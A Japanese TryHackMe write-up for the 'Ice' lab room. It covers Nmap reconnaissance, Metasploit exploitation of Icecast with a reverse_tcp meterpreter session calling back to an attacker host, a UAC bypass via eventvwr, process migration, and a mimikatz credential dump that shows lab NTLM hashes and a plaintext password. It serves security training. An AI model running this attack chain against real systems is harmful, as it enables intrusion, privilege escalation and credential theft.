TryHackMe Writeup：Ice

# はじめに
本記事はTryHackMeのWriteupです。
Roomは[Ice](https://tryhackme.com/room/ice)で、Difficulty（難易度）はEasyです。

Iceは一般的なハッキングフローの流れに沿って、偵察行為を皮切りに発見したサービスの脆弱性を特定します。脆弱性特定後、Metasploit Frameworkを用いて管理者権限を取得します。

このRoomでは、Metasploit Frameworkに関する基礎的な部分について学ぶことができます。
Connect以降のTaskについて解説していきます。

## Recon
はじめに偵察行為から行います。
偵察行為については以前書いた[Content Discovery Webアプリケーションに対する偵察行為](https://qiita.com/Brutus/items/6b89c9518ea90695232f)を参照。

### ポートスキャン
空いているポートを特定するためには**Nmap**を使用します。
ここでは事前に用意したシェルを介してポートスキャンを実行しています。

`$ ./port_scan.sh ＜対象ホストのIPアドレス＞`

```console

##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-16 23:08 JST
Nmap scan report for 10.10.137.216
Host is up (0.24s latency).

PORT      STATE SERVICE            VERSION
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ssl/ms-wbt-server?
|_ssl-date: 2023-05-16T14:10:19+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=Dark-PC
| Not valid before: 2023-05-15T14:04:37
|_Not valid after:  2023-11-14T14:04:37
5357/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
8000/tcp  open  http               Icecast streaming media server
|_http-title: Site doesn't have a title (text/html).
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49158/tcp open  msrpc              Microsoft Windows RPC
49159/tcp open  msrpc              Microsoft Windows RPC
49160/tcp open  msrpc              Microsoft Windows RPC
Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   210: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Dark-PC
|   NetBIOS computer name: DARK-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-05-16T09:10:12-05:00
| smb2-time: 
|   date: 2023-05-16T14:10:13
|_  start_date: 2023-05-16T14:04:35
|_nbstat: NetBIOS name: DARK-PC, NetBIOS user: <unknown>, NetBIOS MAC: 0267ab38d98d (unknown)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h15m00s, deviation: 2h30m00s, median: 0s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 114.63 seconds
Scan completed
```

ポートスキャンの結果から8000番ポートを使用した[**Icecast**](https://ja.wikipedia.org/wiki/Icecast)の稼働が確認できます。

上記検出結果を使用してこのタスクは解決できます。

## Gain Access
Icecastの脆弱性を特定後、Metasploit Frameworkのmsfconsoleを起動して、エクスプロイトを検索します。

### エクスプロイトの検索
以下のコマンドを実行して、msfconsoleを起動します。

`$ msfconsole`

`search Icecast`コマンドを使用してターゲットのエクスプロイトを検索します。

```console
Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/http/icecast_header  2004-09-28       great  No     Icecast Header Overwrite


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header
```

以下のコマンドを実行して、モジュールをセットします。

`use 0`

```console
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) > 
```

`show options`コマンドを実行して、必要な設定を行います。

```console
Module options (exploit/windows/http/icecast_header):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT   8000             yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     1.2.3.4          yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.
```

`exploit`コマンドを実行します。

```console
[*] Started reverse TCP handler on 1.2.3.4:4444 
[*] Sending stage (175686 bytes) to 10.10.137.216
[*] Meterpreter session 1 opened (1.2.3.4:4444 -> 10.10.137.216:49194) at 2023-05-16 23:21:35 +0900
```

## Escalate
管理者権限を取得するために、ローカルで利用可能なエクスプロイトを検索し、権限昇格を狙います。

### ローカルエクスプロイトの検索
`getuid`コマンドを実行することで、現在のユーザー情報が確認できます。

```console
Server username: Dark-PC\Dark
```

`ps`コマンドを実行することで、 Icecastプロセスを実行しているユーザーが確認できます。

```console
Process List
============

 PID   PPID  Name                  Arch  Session  User          Path
 ---   ----  ----                  ----  -------  ----          ----
 0     0     [System Process]
 4     0     System
 416   4     smss.exe
 500   692   svchost.exe
 544   536   csrss.exe
 588   692   svchost.exe
 592   536   wininit.exe
 604   584   csrss.exe
 652   584   winlogon.exe
 692   592   services.exe
 700   592   lsass.exe
 708   592   lsm.exe
 816   692   svchost.exe
 884   692   svchost.exe
 932   692   svchost.exe
 1060  692   svchost.exe
 1192  692   svchost.exe
 1260  692   TrustedInstaller.exe
 1304  500   dwm.exe               x64   1        Dark-PC\Dark  C:\Windows\System32\dwm.exe
 1320  1288  explorer.exe          x64   1        Dark-PC\Dark  C:\Windows\explorer.exe
 1376  692   spoolsv.exe
 1404  692   svchost.exe
 1468  692   sppsvc.exe
 1480  692   taskhost.exe          x64   1        Dark-PC\Dark  C:\Windows\System32\taskhost.exe
 1548  816   WmiPrvSE.exe
 1568  692   amazon-ssm-agent.exe
 1588  692   mscorsvw.exe
 1652  692   LiteAgent.exe
 1692  692   svchost.exe
 1832  692   Ec2Config.exe
 2008  692   vds.exe
 2064  1588  mscorsvw.exe
 2104  692   svchost.exe
 2296  1320  Icecast2.exe          x86   1        Dark-PC\Dark  C:\Program Files (x86)\Icecast2 Win32\Icecast2.exe
 2636  692   SearchIndexer.exe
 2840  816   rundll32.exe          x64   1        Dark-PC\Dark  C:\Windows\System32\rundll32.exe
 2884  2840  dinotify.exe          x64   1        Dark-PC\Dark  C:\Windows\System32\dinotify.exe
```

ローカルで利用可能なエクスプロイトを検索するために、`run post/multi/recon/local_exploit_suggester`コマンドを実行します。

```console
[*] 10.10.137.216 - Collecting local exploits for x86/windows...
[*] 10.10.137.216 - 174 exploit checks are being tried...
[+] 10.10.137.216 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.137.216 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
[+] 10.10.137.216 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.10.137.216 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.137.216 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.137.216 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.137.216 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.10.137.216 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[+] 10.10.137.216 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
[*] Running check method for exploit 41 / 41
[*] 10.10.137.216 - Valid modules for session 1:
============================

 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.
 2   exploit/windows/local/ms10_092_schelevator                     Yes                      The service is running, but could not be validated.
 3   exploit/windows/local/ms13_053_schlamperei                     Yes                      The target appears to be vulnerable.
 4   exploit/windows/local/ms13_081_track_popup_menu                Yes                      The target appears to be vulnerable.
 5   exploit/windows/local/ms14_058_track_popup_menu                Yes                      The target appears to be vulnerable.
 6   exploit/windows/local/ms15_051_client_copy_image               Yes                      The target appears to be vulnerable.
 7   exploit/windows/local/ntusermndragover                         Yes                      The target appears to be vulnerable.
 8   exploit/windows/local/ppr_flatten_rec                          Yes                      The target appears to be vulnerable.
 9   exploit/windows/local/tokenmagic                               Yes                      The target appears to be vulnerable.
 10  exploit/windows/local/adobe_sandbox_adobecollabsync            No                       Cannot reliably check exploitability.
 11  exploit/windows/local/agnitum_outpost_acs                      No                       The target is not exploitable.
 12  exploit/windows/local/always_install_elevated                  No                       The target is not exploitable.
 13  exploit/windows/local/anyconnect_lpe                           No                       The target is not exploitable. vpndownloader.exe not found on file system
 14  exploit/windows/local/bits_ntlm_token_impersonation            No                       The target is not exploitable.
 15  exploit/windows/local/bthpan                                   No                       The target is not exploitable.
 16  exploit/windows/local/bypassuac_fodhelper                      No                       The target is not exploitable.
 17  exploit/windows/local/bypassuac_sluihijack                     No                       The target is not exploitable.
 18  exploit/windows/local/canon_driver_privesc                     No                       The target is not exploitable. No Canon TR150 driver directory found
 19  exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move   No                       The target is not exploitable. The build number of the target machine does not appear to be a vulnerable version!                                                                                                          
 20  exploit/windows/local/cve_2020_1048_printerdemon               No                       The target is not exploitable.
 21  exploit/windows/local/cve_2020_1337_printerdemon               No                       The target is not exploitable.
 22  exploit/windows/local/gog_galaxyclientservice_privesc          No                       The target is not exploitable. Galaxy Client Service not found
 23  exploit/windows/local/ikeext_service                           No                       The check raised an exception.
 24  exploit/windows/local/ipass_launch_app                         No                       The check raised an exception.
 25  exploit/windows/local/lenovo_systemupdate                      No                       The check raised an exception.
 26  exploit/windows/local/lexmark_driver_privesc                   No                       The check raised an exception.
 27  exploit/windows/local/mqac_write                               No                       The target is not exploitable.
 28  exploit/windows/local/ms10_015_kitrap0d                        No                       The target is not exploitable.
 29  exploit/windows/local/ms14_070_tcpip_ioctl                     No                       The target is not exploitable.
 30  exploit/windows/local/ms15_004_tswbproxy                       No                       The target is not exploitable.
 31  exploit/windows/local/ms16_016_webdav                          No                       The target is not exploitable.
 32  exploit/windows/local/ms16_032_secondary_logon_handle_privesc  No                       The target is not exploitable.
 33  exploit/windows/local/ms16_075_reflection                      No                       The target is not exploitable.
 34  exploit/windows/local/ms16_075_reflection_juicy                No                       The target is not exploitable.
 35  exploit/windows/local/ms_ndproxy                               No                       The target is not exploitable.
 36  exploit/windows/local/novell_client_nicm                       No                       The target is not exploitable.
 37  exploit/windows/local/ntapphelpcachecontrol                    No                       The target is not exploitable.
 38  exploit/windows/local/panda_psevents                           No                       The target is not exploitable.
 39  exploit/windows/local/ricoh_driver_privesc                     No                       The target is not exploitable. No Ricoh driver directory found
 40  exploit/windows/local/virtual_box_guest_additions              No                       The target is not exploitable.
 41  exploit/windows/local/webexec                                  No                       The check raised an exception.

```

1行目の`exploit/windows/local/bypassuac_eventvwr`エクスプロイトについて確認します。

このモジュールは、現在のユーザー配下にあるレジストリの特別なキーを取得し、Windowsイベント ビューアの起動時に呼び出されるカスタムコマンドを挿入することで、Windows UACをバイパスします。

ソースコードは[bypassuac_eventvwr.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/bypassuac_eventvwr.rb)から確認できます。

権限を昇格させるために、現在のセッションをバッググラウンドに移行します。

```console
Background session 1? [y/N]  
```

現在のセッションは`sessions`コマンドで確認できます。

```console
Active sessions
===============

  Id  Name  Type                     Information             Connection
  --  ----  ----                     -----------             ----------
  1         meterpreter x86/windows  Dark-PC\Dark @ DARK-PC  1.2.3.4:4444 -> 10.10.137.216:49221 (10.10.137.216)
```


`use exploit/windows/local/bypassuac_eventvwr`コマンドを実行してモジュールをセットします。

```console
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
```

ローカルエクスプロイトを実行するためには、セッションを選択する必要があります。
従って`set session 1`コマンドを実行します。

```console
session => 1
```

lhostが正しいことを確認し、`run`コマンドを実行します。

```console
[*] Started reverse TCP handler on 1.2.3.4:4444 
[*] Sending stage (175686 bytes) to 10.10.137.216
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[*] Meterpreter session 2 opened (1.2.3.4:4444 -> 10.10.137.216:49215) at 2023-05-16 23:54:58 +0900
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.
[*] Sending stage (175686 bytes) to 10.10.137.216
[*] Meterpreter session 3 opened (1.2.3.4:4444 -> 10.10.137.216:49232) at 2023-05-16 23:55:08 +0900
[*] Cleaning up registry keys ...
```

権限昇格完了後、`getprivs`コマンドを実行して権限が拡張されたことを確認します。

```console
Enabled Process Privileges
==========================

Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
```

## Looting
追加の認証情報を収集し、マシン上に保存されているハッシュを解析する方法を学びます。

このタスクでは、Windows内の認証機能を提供しているlsassサービスと対話するために、必要なアクセス許可を持つプロセスに移行する必要があります。

### プロセスの移行
`ps`コマンドを実行して、`NT AUTHORITY\SYSTEM`によってプロセスが実行されていることを確認します。 

```console
Process List
============

 PID   PPID  Name                  Arch  Session  User                          Path
 ---   ----  ----                  ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System                x64   0
 416   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\smss.exe
 500   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 544   536   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
 588   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 592   536   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\wininit.exe
 600   604   conhost.exe           x64   1        Dark-PC\Dark                  C:\Windows\System32\conhost.exe
 604   584   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
 652   584   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlogon.exe
 692   592   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\services.exe
 700   592   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsass.exe
 708   592   lsm.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsm.exe
 816   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 856   604   conhost.exe           x64   1        Dark-PC\Dark                  C:\Windows\System32\conhost.exe
 884   692   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 932   692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1060  692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1192  692   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 1304  500   dwm.exe               x64   1        Dark-PC\Dark                  C:\Windows\System32\dwm.exe
 1320  1288  explorer.exe          x64   1        Dark-PC\Dark                  C:\Windows\explorer.exe
 1376  692   spoolsv.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
 1404  692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1468  692   sppsvc.exe            x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\sppsvc.exe
 1480  692   taskhost.exe          x64   1        Dark-PC\Dark                  C:\Windows\System32\taskhost.exe
 1568  692   amazon-ssm-agent.exe  x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
 1652  692   LiteAgent.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\Xentools\LiteAgent.exe
 1680  816   slui.exe              x64   1        Dark-PC\Dark                  C:\Windows\System32\slui.exe
 1692  692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1832  692   Ec2Config.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\Ec2ConfigService\Ec2Config.exe
 2008  692   vds.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\vds.exe
 2104  692   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 2196  2296  cmd.exe               x86   1        Dark-PC\Dark                  C:\Windows\SysWOW64\cmd.exe
 2260  2296  cmd.exe               x86   1        Dark-PC\Dark                  C:\Windows\SysWOW64\cmd.exe
 2296  1320  Icecast2.exe          x86   1        Dark-PC\Dark                  C:\Program Files (x86)\Icecast2 Win32\Icecast2.exe
 2448  356   powershell.exe        x86   1        Dark-PC\Dark                  C:\Windows\SysWOW64\WindowsPowershell\v1.0\powershell.exe
 2524  604   conhost.exe           x64   1        Dark-PC\Dark                  C:\Windows\System32\conhost.exe
 2624  692   taskhost.exe          x64   1        Dark-PC\Dark                  C:\Windows\System32\taskhost.exe
 2636  692   SearchIndexer.exe     x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\SearchIndexer.exe
 2840  816   rundll32.exe          x64   1        Dark-PC\Dark                  C:\Windows\System32\rundll32.exe
 2884  2840  dinotify.exe          x64   1        Dark-PC\Dark                  C:\Windows\System32\dinotify.exe
 3004  692   TrustedInstaller.exe  x64   0        NT AUTHORITY\SYSTEM           C:\Windows\servicing\TrustedInstaller.exe
```

`migrate -N spoolsv.exe`コマンドを実行して、プロセスを移行します。

```console
[*] Migrating from 2448 to 1376...
[*] Migration completed successfully.
```

`getuid`コマンドを実行すると、権限昇格が確認できます。

```console
Server username: NT AUTHORITY\SYSTEM
```

Mimikatzは、Windows システムのメモリからパスワード、NTLM ハッシュ、Kerberos チケットなどの認証情報を抽出するために使用できるツールです。

`load kiwi`コマンドを実行してダンプします。

```console
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.
```

`creds_all`コマンドを実行して、パスワードが確認できます。

```console
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username  Domain   LM                                NTLM                              SHA1
--------  ------   --                                ----                              ----
Dark      Dark-PC  e52cac67419a9a22ecb08369099ed302  7c4fe5eada682714a036e39378362bab  0d082c4b4f2aeafb67fd0ea568a997e9d3ebc0eb

wdigest credentials
===================

Username  Domain     Password
--------  ------     --------
(null)    (null)     (null)
DARK-PC$  WORKGROUP  (null)
Dark      Dark-PC    Password01!

tspkg credentials
=================

Username  Domain   Password
--------  ------   --------
Dark      Dark-PC  Password01!

kerberos credentials
====================

Username  Domain     Password
--------  ------     --------
(null)    (null)     (null)
Dark      Dark-PC    Password01!
dark-pc$  WORKGROUP  (null)
```

## Post-Exploitation
`help`コマンドを使用してこのタスクは解決できます。

# おわりに
以上、IceのWriteupでした。

msfconsoleの操作に慣れるためには、ちょうど良いRoomです。

Metasploit Frameworkについては、以前書いた[脆弱性とエクスプロイトについて理解する](https://qiita.com/Brutus/items/5b0d332b1f3fd57b714f)に基本的な使用方法を記載しています。